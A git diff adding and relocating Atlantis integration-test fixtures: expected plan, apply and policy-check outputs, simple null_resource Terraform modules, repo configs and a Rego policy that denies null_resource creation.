b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-plan.txt @@ -0,0 +1,28 @@ +Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops` + +```diff +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p dir1-ops + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/testfixtures/test-repos/modules-yaml/atlantis.yaml b/server/controllers/events/testdata/test-repos/modules-yaml/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/modules-yaml/atlantis.yaml rename to server/controllers/events/testdata/test-repos/modules-yaml/atlantis.yaml diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-production.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-production.txt new file mode 100644 index 0000000000..ee091adfb7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-production.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `production` workspace: `default` + +```diff +module.null.null_resource.this: Creating... +module.null.null_resource.this: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "production" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-staging.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-staging.txt new file mode 100644 index 0000000000..2e3ac3dbe0 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-staging.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `staging` workspace: `default` + +```diff +module.null.null_resource.this: Creating... +module.null.null_resource.this: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "staging" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-autoplan.txt new file mode 100644 index 0000000000..43a1815d11 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-autoplan.txt @@ -0,0 +1,86 @@ +Ran Plan for 2 projects: + +1. dir: `staging` workspace: `default` +1. dir: `production` workspace: `default` +--- + +### 1. dir: `staging` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # module.null.null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `production` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # module.null.null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "production" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d production + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d production + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-merge-all-dirs.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-all-dirs.txt similarity index 100% rename from server/testfixtures/test-repos/modules-yaml/exp-output-merge-all-dirs.txt rename to server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-all-dirs.txt diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-merge-only-staging.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-only-staging.txt similarity index 100% rename from server/testfixtures/test-repos/modules-yaml/exp-output-merge-only-staging.txt rename to server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-only-staging.txt diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/modules-yaml/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-production.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-production.txt new file mode 100644 index 0000000000..298d515d93 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-production.txt @@ -0,0 +1,31 @@ +Ran Plan for dir: `production` workspace: `default` +```diff +Refreshing Terraform state in-memory prior to plan... +The refreshed state will be used to calculate this plan, but will not be +persisted to local or remote state storage. + + +------------------------------------------------------------------------ + +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + + create + +Terraform will perform the following actions: + ++ module.null.null_resource.this + id: +Plan: 1 to add, 0 to change, 0 to destroy. + +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d production + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d production + ``` + diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-staging.txt b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-staging.txt new file mode 100644 index 0000000000..9f8399b7f1 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-staging.txt @@ -0,0 +1,31 @@ +Ran Plan for dir: `staging` workspace: `default` +```diff +Refreshing Terraform state in-memory prior to plan... +The refreshed state will be used to calculate this plan, but will not be +persisted to local or remote state storage. + + +------------------------------------------------------------------------ + +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + + create + +Terraform will perform the following actions: + ++ module.null.null_resource.this + id: +Plan: 1 to add, 0 to change, 0 to destroy. + +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d staging + ``` + diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/modules/null/main.tf b/server/controllers/events/testdata/test-repos/modules-yaml/modules/null/main.tf new file mode 100644 index 0000000000..1a52b6d221 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/modules/null/main.tf @@ -0,0 +1,10 @@ +variable "var" {} +resource "null_resource" "this" { +} +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/modules/null/versions.tf b/server/controllers/events/testdata/test-repos/modules-yaml/modules/null/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/modules/null/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/production/main.tf b/server/controllers/events/testdata/test-repos/modules-yaml/production/main.tf new file mode 100644 index 0000000000..9d09972041 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/production/main.tf @@ -0,0 +1,7 @@ +module "null" { + source = "../modules/null" + var = "production" +} +output "var" { + value = module.null.var +} diff --git a/server/controllers/events/testdata/test-repos/modules-yaml/staging/main.tf b/server/controllers/events/testdata/test-repos/modules-yaml/staging/main.tf new file mode 100644 index 0000000000..2f12d35c8d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules-yaml/staging/main.tf @@ -0,0 +1,7 @@ +module "null" { + source = "../modules/null" + var = "staging" +} +output "var" { + value = module.null.var +} diff --git a/server/controllers/events/testdata/test-repos/modules/exp-output-apply-production.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-apply-production.txt new file mode 100644 index 0000000000..ee091adfb7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/exp-output-apply-production.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `production` workspace: `default` + +```diff +module.null.null_resource.this: Creating... +module.null.null_resource.this: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "production" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/modules/exp-output-apply-staging.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-apply-staging.txt new file mode 100644 index 0000000000..2e3ac3dbe0 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/exp-output-apply-staging.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `staging` workspace: `default` + +```diff +module.null.null_resource.this: Creating... +module.null.null_resource.this: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "staging" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/modules/exp-output-autoplan-only-staging.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-autoplan-only-staging.txt new file mode 100644 index 0000000000..c3bdadc019 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/exp-output-autoplan-only-staging.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `staging` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # module.null.null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/modules/exp-output-merge-all-dirs.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-merge-all-dirs.txt similarity index 100% rename from server/testfixtures/test-repos/modules/exp-output-merge-all-dirs.txt rename to server/controllers/events/testdata/test-repos/modules/exp-output-merge-all-dirs.txt diff --git a/server/testfixtures/test-repos/modules/exp-output-merge-only-staging.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-merge-only-staging.txt similarity index 100% rename from server/testfixtures/test-repos/modules/exp-output-merge-only-staging.txt rename to server/controllers/events/testdata/test-repos/modules/exp-output-merge-only-staging.txt diff --git a/server/testfixtures/test-repos/modules/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/modules/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/modules/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/modules/exp-output-plan-production.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-plan-production.txt new file mode 100644 index 0000000000..13d2414f3f --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/exp-output-plan-production.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `production` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # module.null.null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "production" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d production + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d production + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/modules/exp-output-plan-staging.txt b/server/controllers/events/testdata/test-repos/modules/exp-output-plan-staging.txt new file mode 100644 index 0000000000..c3bdadc019 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/exp-output-plan-staging.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `staging` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # module.null.null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/modules/modules/null/main.tf b/server/controllers/events/testdata/test-repos/modules/modules/null/main.tf new file mode 100644 index 0000000000..1a52b6d221 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/modules/null/main.tf @@ -0,0 +1,10 @@ +variable "var" {} +resource "null_resource" "this" { +} +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/modules/modules/null/versions.tf b/server/controllers/events/testdata/test-repos/modules/modules/null/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/modules/null/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/modules/production/main.tf b/server/controllers/events/testdata/test-repos/modules/production/main.tf new file mode 100644 index 0000000000..9d09972041 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/production/main.tf @@ -0,0 +1,7 @@ +module "null" { + source = "../modules/null" + var = "production" +} +output "var" { + value = module.null.var +} diff --git a/server/controllers/events/testdata/test-repos/modules/staging/main.tf b/server/controllers/events/testdata/test-repos/modules/staging/main.tf new file mode 100644 index 0000000000..2f12d35c8d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/modules/staging/main.tf @@ -0,0 +1,7 @@ +module "null" { + source = "../modules/null" + var = "staging" +} +output "var" { + value = module.null.var +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply.txt new file mode 100644 index 0000000000..336a849553 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply.txt @@ -0,0 +1,14 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" + +``` + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/repos.yaml new file mode 100644 index 0000000000..32434be4e3 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/repos.yaml @@ -0,0 +1,12 @@ +repos: +- id: /.*/ + apply_requirements: [approved] +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply.txt new file mode 100644 index 0000000000..336a849553 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-apply.txt @@ -0,0 +1,14 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" + +``` + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-clear.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-clear.txt new file mode 100644 index 0000000000..107a689278 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-clear.txt @@ -0,0 +1,34 @@ +Ran Approve Policies for 1 projects: + +1. dir: `.` workspace: `default` +--- + +### 1. dir: `.` workspace: `default` +**Approve Policies Failed**: One or more policy sets require additional approval. +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` + +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-success.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-success.txt new file mode 100644 index 0000000000..5aed732384 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies-success.txt @@ -0,0 +1,3 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-clear-approval/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ 